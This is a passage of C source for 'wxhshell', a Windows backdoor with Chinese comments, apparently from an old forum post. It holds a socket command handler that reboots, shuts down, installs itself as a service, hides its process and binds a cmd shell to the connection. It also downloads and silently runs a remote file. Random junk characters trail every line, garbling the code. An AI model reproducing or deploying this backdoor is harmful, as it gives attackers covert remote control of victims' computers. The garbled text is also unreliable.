  7u{V1_ n1  
  // 帮助 f8 BZkh  
  case '?': { ^@3,/dH1 t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); br^ A<@,d  
    break; *`} !{ Mb  
  } uNkJe  
  // 安装 zYrJ Hn#vB  
  case 'i': { uu9IUqEq2  
    if(Install()) =A!r ZG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gx %=&O  
    else ~`Rar2%B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D2g/P8.<A  
    break; w >2sr^!y  
    } obE8iG@H  
  // 卸载 @R}3f6@67  
  case 'r': { <#J5.I 1  
    if(Uninstall()) &8w# 4*W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BPa,P_6(  
    else =Z^5'h~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Z# $X`  
    break; LTWkHy x  
    } UX)GA[WI  
  // 显示 wxhshell 所在路径 y&NqVR=   
  case 'p': { 0^ODJ7  
    char svExeFile[MAX_PATH]; kamQZzPe  
    strcpy(svExeFile,"\n\r"); 1B~O!']N<  
      strcat(svExeFile,ExeFile); 0|P=S|%~  
        send(wsh,svExeFile,strlen(svExeFile),0); m TE(J Zt  
    break; F0:]@0>r  
    } J2=4%#R!  
  // 重启 GcVQz[E  
  case 'b': { #fuUAbU0X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y]j.PT`Cw  
    if(Boot(REBOOT)) {D4FYr J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Qg10Yjy  
    else { *()['c#CC  
    closesocket(wsh); C%o|}iv"  
    ExitThread(0);  T~[:oil  
    } 7Jn%XxHq  
    break; 6 4_}"fU  
    } Vq'7gJj'  
  // 关机 ]Ur/DRNS  
  case 'd': { l]]NVBA])  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l~r;G rd/5  
    if(Boot(SHUTDOWN)) qOo4T@ t3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t#NPbLZ  
    else { (p{X.X+  
    closesocket(wsh); ,?GwA@~$k:  
    ExitThread(0); T)! }Wvv  
    } #w{`6}p  
    break; '.|}  
    } vpu#!(N  
  // 获取shell `c Gks  
  case 's': { u+)!C*ho  
    CmdShell(wsh); =Vg~ VD   
    closesocket(wsh); r^,_m,s'<  
    ExitThread(0); L=<xTbY  
    break; Igo`\JY  
  } yX&# rI  
  // 退出 mI lg=8:  
  case 'x': { q`e0%^U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ) 57'<  
    CloseIt(wsh); khX/xL  
    break; 0}i 9`p  
    } +Nn >*sz  
  // 离开 eu(Fhs   
  case 'q': { ?qQ{]_q1&.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G"r{!IFL  
    closesocket(wsh); *JOK8[Qn  
    WSACleanup(); 48p3m) 5  
    exit(1); L4iWR/&  
    break; H VM %B{(  
        } #c|l|Xvq2  
  } ir^d7CV,   
  } i}T* | P  
ei2?H;H;  
  // 提示信息 2?,l r2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r,eH7&P9{  
} v=^^Mr"Z^  
  } rbf5~sw&8+  
R/{h4/+vJ  
  return; 3g7]$}  
} 2`i &6iz  
y95  #t  
// shell模块句柄 IiKU =^~w  
int CmdShell(SOCKET sock) H8HH) ^  
{ 0Y`+L6&UX  
STARTUPINFO si; []OS p&  
ZeroMemory(&si,sizeof(si)); `@ Z$+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K81FKV.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s\'t=}0q  
PROCESS_INFORMATION ProcessInfo; ;4+z~7Je]^  
char cmdline[]="cmd"; (ht"wY#T<(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +46& Zb35  
  return 0; b?k,_; \  
} ^cd bM  
%m|BXyf]_B  
// 自身启动模式 FkMM>X  
int StartFromService(void) 6T"5,Q</h  
{ <a CzB7x  
typedef struct iLdUus!  
{ =j_4!^  
  DWORD ExitStatus; p+I`xyk  
  DWORD PebBaseAddress; N]BH67<  
  DWORD AffinityMask; P EzT|uY  
  DWORD BasePriority; B_!S\?}$  
  ULONG UniqueProcessId; "97sH_ ,  
  ULONG InheritedFromUniqueProcessId; R]Fa?uQW  
}   PROCESS_BASIC_INFORMATION; s$^ 2Cuhv  
<{V{2V#  
PROCNTQSIP NtQueryInformationProcess; K/&  
n`Ypv{+ {%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ornm3%p+e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P@etT8|V  
d.snD)X  
  HANDLE             hProcess; nQw, /L k  
  PROCESS_BASIC_INFORMATION pbi; &WbHM)_n  
q!d7Ms{q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lz- (1~o  
  if(NULL == hInst ) return 0; <t*3w  
-z/>W+k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6.v)q,JL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K>+c2;t;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }g.)%Bw!  
Xp^71A?>  
  if (!NtQueryInformationProcess) return 0; bmC{d  
yV@~B;eW0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `?"[u" *  
  if(!hProcess) return 0; {Cw>T-`  
6r5<uZ9w_X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BfvvJh_  
g<4@5OQKu  
  CloseHandle(hProcess); 9H%L;C5<  
o 3 G*   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ma2-66M~j  
if(hProcess==NULL) return 0; LwCf}4u"  
_K>YB>W}7  
HMODULE hMod; ^X?3e1om  
char procName[255]; _%aJ/Y0Cy  
unsigned long cbNeeded; n ^C"v6X  
h1N{;SWQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8z"*CJ@  
Pu|3_3^  
  CloseHandle(hProcess); r7:4| 6E  
&qFy$`"  
if(strstr(procName,"services")) return 1; // 以服务启动 <bOi}  
|rk4,NG.  
  return 0; // 注册表启动 r`CsR0[  
} ~@Eu4ip)F  
QPpC_pZh  
// 主模块 ;bt%TxuKb  
int StartWxhshell(LPSTR lpCmdLine) r5\|%5=J  
{ ?r-W , n  
  SOCKET wsl; sM'%apM#  
BOOL val=TRUE; 7^Q4?(A  
  int port=0; UB1/0o  
  struct sockaddr_in door; ?Q%X,!~ \:  
BO)Q$*G~JD  
  if(wscfg.ws_autoins) Install(); W~FM^xR?p  
iqP MCOPZ  
port=atoi(lpCmdLine); V0!$k.Wk  
Rz9IjL.Z  
if(port<=0) port=wscfg.ws_port; wm/=]*jpK  
`8D}\w<eI  
  WSADATA data; S 7 *LV;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '9d] B^)F  
(7_}UT@w-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^9*kZV<K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )Cfk/OnRd  
  door.sin_family = AF_INET; Zw<\^1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y<0R5rO  
  door.sin_port = htons(port); XIJW$CY  
nL@(|nJ[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f,}9~r #  
closesocket(wsl); /I/gbmc)  
return 1; 2/m4|  
} 8\ { 1y:|  
yTb#V"eR  
  if(listen(wsl,2) == INVALID_SOCKET) { 7 I`8r2H  
closesocket(wsl); 84}Pu%  
return 1; \&Zp/;n  
} +1o4l i  
  Wxhshell(wsl); # %$U-ti  
  WSACleanup(); M4`. [P4  
nA?Ks!9T  
return 0; z[~ph/^  
vlS+UFH0  
} GLE/ 1  
Z&W*@(dX  
// 以NT服务方式启动 }a?(}{z-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g<(\#F}/  
{ FZ~^cK9g:  
DWORD   status = 0; }@H(z  
  DWORD   specificError = 0xfffffff; jC}2>_#m(  
QxI^Bx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hru~Y}V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a 0+W-#G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B9h'}460H  
  serviceStatus.dwWin32ExitCode     = 0; 0hr4}FL8  
  serviceStatus.dwServiceSpecificExitCode = 0; VkJBqRzBOa  
  serviceStatus.dwCheckPoint       = 0; f5o##ia7:  
  serviceStatus.dwWaitHint       = 0; +ko-oZ7V  
F+ Q(^Nk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *mtS\J  
  if (hServiceStatusHandle==0) return; 15\k/[3 #  
wx[Y2lUh6  
status = GetLastError(); # ; 3v4P  
  if (status!=NO_ERROR) *1`q x+1  
{ 'LW~_\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $;VY`n  
    serviceStatus.dwCheckPoint       = 0; *pj^d><  
    serviceStatus.dwWaitHint       = 0; i!u:]14>  
    serviceStatus.dwWin32ExitCode     = status; >\4"k4d}  
    serviceStatus.dwServiceSpecificExitCode = specificError; X-k$6}D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  SodYb  
    return; ;%B:1Z  
  } '9XSz?  
GMOnp$@H^s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ywY[g{4+  
  serviceStatus.dwCheckPoint       = 0; Hkzx(yTi  
  serviceStatus.dwWaitHint       = 0; 88g|(k/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `/RcE.5n\@  
} ":W$$w<  
d<_#Q7]I4  
// 处理NT服务事件,比如:启动、停止 JxmFUheLt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |] cFsB#G  
{ 7 V3r!y  
switch(fdwControl) *|Bt!  
{ Z# o;H$  
case SERVICE_CONTROL_STOP: vR*p1Kq:  
  serviceStatus.dwWin32ExitCode = 0; t~_bquGk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;/ASl<t,  
  serviceStatus.dwCheckPoint   = 0; )SzgMbF6  
  serviceStatus.dwWaitHint     = 0; ^{g('BQx  
  { iCIU'yI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  LOi/+;>  
  } HyC826~-rI  
  return; [m0G;%KR/  
case SERVICE_CONTROL_PAUSE: _"h1#E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $SfYO!n7Q  
  break; uWjEyxPv{  
case SERVICE_CONTROL_CONTINUE: t{Wu5<F:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `h='FJ/!  
  break; W0k7(v)  
case SERVICE_CONTROL_INTERROGATE: g). IF.  
  break; $ #bWh  
}; 0S#T}ITm4Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *('Vyd!n  
} nO `R++  
:0'vzM  
// 标准应用程序主函数 aSt:G*a"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {y`n _  
{ $f AZ^   
Np@RK1}  
// 获取操作系统版本  L0>7v  
OsIsNt=GetOsVer(); <lP5}F87  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qlC4&82=Q  
q"VC#9 7`  
  // 从命令行安装 q.ZkQN+  
  if(strpbrk(lpCmdLine,"iI")) Install(); -u~AY#*  
.5!Q(  
  // 下载执行文件 ."j=s#OC(  
if(wscfg.ws_downexe) { tZygTvK/S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qPn!.m$/  
  WinExec(wscfg.ws_filenam,SW_HIDE); o'=i$Eb  
} #Yx /ubg6  
nU/x,W[}  
if(!OsIsNt) { H8h,JBg5<F  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ygc.0VKMR  
HideProc(); Q1RUmIe_&  
StartWxhshell(lpCmdLine); ; ! B>b)%  
} ~j[mME}  
else ] uXmug  
  if(StartFromService())  h 3V; J  
  // 以服务方式启动 vu3zZMl  
  StartServiceCtrlDispatcher(DispatchTable); 9>ML;$T&  
else TRFza}4:i  
  // 普通方式启动 H(DI /"N  
  StartWxhshell(lpCmdLine); OySn[4`(i  
&XB1=b5  
return 0; =z#j9'n$@  
}
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只看该作者 1 发表于: 2006-10-10
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